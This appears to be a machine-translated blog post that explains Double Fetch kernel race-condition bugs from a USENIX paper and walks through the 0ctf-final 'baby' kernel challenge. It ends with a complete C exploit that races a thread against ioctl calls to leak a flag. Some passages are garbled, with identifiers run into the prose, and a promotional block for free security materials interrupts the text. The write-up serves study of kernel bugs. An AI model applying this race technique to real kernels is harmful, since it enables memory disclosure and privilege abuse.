Condition race vulnerability Double Fetch

foreword

Double Fetch (Double Fetch) is a conditional competition vulnerability. Related papers are published in USENIX. Link to the paper: https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf

Double Fetch

Double Fetch is a type of kernel vulnerability that occurs when the kernel copies data from user space and accesses the same piece of memory twice. As shown in the figure below (the picture is from the paper), when the kernel copies data from the user space, the first copy will perform security checks, and the data will be used only when the second copy is made, then between the first copy and the second copy Malicious data tampering is possible. For example, the length to be copied is obtained from the user space at the first time, and the length is checked, but the length is copied again during the second copy, and the data is copied according to the length. However, the length at this time has not been checked, so when the length is modified between the first copy and the second copy, a vulnerability will occur. This vulnerability is called Double Fetch.

image-20230713134722390

The author of the paper summarizes the situation where Double Fetch is prone to occur, as shown in the figure below (picture from the paper). Usually, the user process communicates with the kernel through a specified message format, and the message format usually consists of a message header and a message body. The message header contains some special properties, such as the length of the message, the type of the message, and so on. Then the kernel usually takes out the message header, and executes different branches according to the information in the message header. If after entering the branch, the kernel still extracts the message header and uses the previously used fields, it is very easy for Double Fetch to occur, because the user mode program can modify the message header during the two fetching processes.

image-20230713140815577

The author classifies the scene according to the Double Fetch

  • type selection
  • length check
  • shallow copy

type selection

The type is selected Double Fetch, as shown below (the picture is from the paper). Code intercepted from cxgb3 main.c. It can be seen that the following code first copies data from it to it through thecopy_from_user function , and it is the address of the user space. Subsequent processes will be selected for execution based on the data extracted from it . And in each branch, the data is taken out from the address through the function for subsequent processing. If it is reused in subsequent processing , it will cause .useraddrcmduseraddruseraddrcopy_from_useruseraddrcmdDouble Fetch

image-20230713142023576

length selection

The length is selected Double Fetch, as shown below (the picture is from the paper). This is evident when the first copy is made by taking the data copy_from_userfrom it , and repeating the process the second time . If the value is modified between two extractions and the data is sent through the function, it will lead to the sending of the vulnerability, that is, a larger amount of data than the original value can be leaked.argheader.SizeDouble Fetchheader.Sizeaac_fib_sendheader.Size

image-20230713143534035

shallow copy

Shallow copy is the first copy that just copies the pointer to the user data into the kernel, and then copies the user data in later. As shown below (the picture comes from the paper). The first acquisition is through the pointer pointing to the pointer of the user data, and the second acquisition is also done in this way, then modifying the pointing of the pointer in the interval between the first and the second will cause the data to be modified.

image-20230713144330557

For example, when the kernel is copied, the address that can read user data is not copied in, but the address pointing to the address is copied in, which is shown in the figure below, so when the subsequent kernel reads data, it is ptralways By ptrobtaining, the pointer is modified in the middle of the two acquisitions ptr, and the kernel can be made to point to malicious data.

untitled file

Summarize the utilization process of Double Fetch

  • The kernel will get data from user space, and will get data from the same space twice
  • In the process of two acquisitions, it is not checked whether the acquired data is consistent
  • Finally, in the process of two acquisitions, the data in this space is tampered with

‍Help cybersecurity study, get a full set of information S letter for free:
① Mind map of cybersecurity learning growth path
② 60+ classic cybersecurity toolkits
③ 100+ SRC analysis reports
④ 150+ e-books on cybersecurity attack and defense combat techniques
⑤ The most authoritative CISSP Certification Exam Guide + Question Bank
⑥ More than 1800 pages of CTF Practical Skills Manual
⑦ Collection of the latest interview questions from network security companies (including answers)
⑧ APP Client Security Testing Guide (Android+IOS)

20180ctf-final-baby

Topic link: https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby

baby_ioctlThere is a function in the module , if rsithe value of 0x6666 will be flagoutput, because it is passed printk, it needs to pass dmesgthe output, if rsiit is 0x1337, it will pass a verification function, if the verification process is passed, flagthe value of The content of the incoming address is compared, if the content is completely consistent, then it will be flagoutput directly, and the output is also passed printk, so it needs to dmesgbe printed.

image-20230713151512178

Then look at the verification function, which is very simple and accepts three parameters, a1, a2, a3, if a1 + a2 < a3it passes the check. The value of a1 is what we control, that is, rdxthe value of the register, and a3the value of a1 is &current_taskobtained through .

image-20230713151905552

It can be found that the address obtained &current_taskfrom0x7ffffffff000

image-20230713153756972

The figure below shows the address distribution of user space, which can be seen 0x7ffffffff000as the end address, so the test will pass even if the incoming address is a user space address, but the incoming kernel space address will not pass.

image-20230713154124891

The reason for this is because flagthe string is hard-coded into the driver. If the content of the kernel space can be read, can it be read directly? Therefore, this question is isolated.

image-20230713154417553

Then this question can be used Double Fetchfor utilization, focusing on the detection part. The driver will perform three detections

  • Check whether the incoming address is the address of user space
  • Check whether the value of the content of the incoming address is the address of user space
  • Check whether the length passed in is flagconsistent with the length of

In general, we pass in a structure from user space

typedef struct
{
    
    
    char *flag_addr;
    unsigned long flag_len;
};

image-20230713154600216

You can see that the address of the user space is obtained during the detection of the question v5, and then the address of the user space is obtained again during the loop process v5. During the two acquisitions, it is not compared whether the value has been modified, so it will lead to up Double Fetch.

The idea of ​​using is as follows

  • In the detection phase, v5we use the variable value of user space for assignment, namelyv5 = buf
  • When entering the comparison stage, v5we use flagthe address value to assign the value of the value, that isv5 = flag

So how to get the time point of entering the comparison stage? You can see that even if the comparison fails, there will be no exception but a simple return. Therefore, we can start a thread and modify it continuously v5 = flag.

...
void *
rewrite_flag_addr(void *arg)
{
    
    
	pdata data = (pdata)arg;
	while(finish == 0)
	{
    
    
		data->flag_addr = (char *)target_addr;
		//printf("%p\n",data_flag.flag_addr);
	}
}
...
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
...

The specific process is as shown in the figure below, the reason for using threads here

  • The main thread and the child thread are executed asynchronously
  • shared memory information between threads

Therefore, other threads can be used to modify the shared memory

untitled file(1)

complete exp

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>

#define MAXSIZE 1024
#define MAXTIME 1000000

unsigned long target_addr;
int finish;
typedef struct 
{
    
    
	char* flag_addr;
	unsigned long flag_len;
}data, *pdata;
data data_flag;
int fd;

void *
rewrite_flag_addr(void *arg)
{
    
    
	pdata data = (pdata)arg;
	while(finish == 0)
	{
    
    
		data->flag_addr = (char *)target_addr;
		//printf("%p\n",data_flag.flag_addr);
	}
}


int main()
{
    
    
	fd = open("/dev/baby", O_RDWR);
	__asm(
		".intel_syntax noprefix;"
		"mov rax, 0x10;"
		"mov rdi, fd;"
		"mov rsi, 0x6666;"
		"syscall;"
		".att_syntax;"
	);	
	
	char buf[MAXSIZE];
	char *target;
	int count;
	int flag = open("/dev/kmsg", O_RDONLY);
	if (flag == -1)
		printf("open dmesg error");
	while ((count = read(flag, buf, MAXSIZE)) > 0)
	{
    
    
		if ((target = strstr(buf, "Your flag is at ")) > 0)
		{
    
    
			target = target + strlen("Your flag is at ");
			char *temp = strstr(target, "!");
			target[temp - target] = 0;
			target_addr = strtoul(target, NULL, 16);
			printf("flag address:0x%s\n",target);
			printf("flag address:0x%lx\n", target_addr);
			break;
		}
	}	
	data_flag.flag_addr = buf;
	data_flag.flag_len = 33;
	pthread_t ntid;
	int err;
	err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);	
	for (int i = 0; i < MAXTIME; i++)
	{
    
    
		ioctl(fd, 0x1337, &data_flag);
		data_flag.flag_addr = buf;
		//printf("%d\n",i);
	}
	finish = 1;
	pthread_join(ntid, NULL);
	printf("end!");
	//system("dmesg | grep flag");
}

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/132204512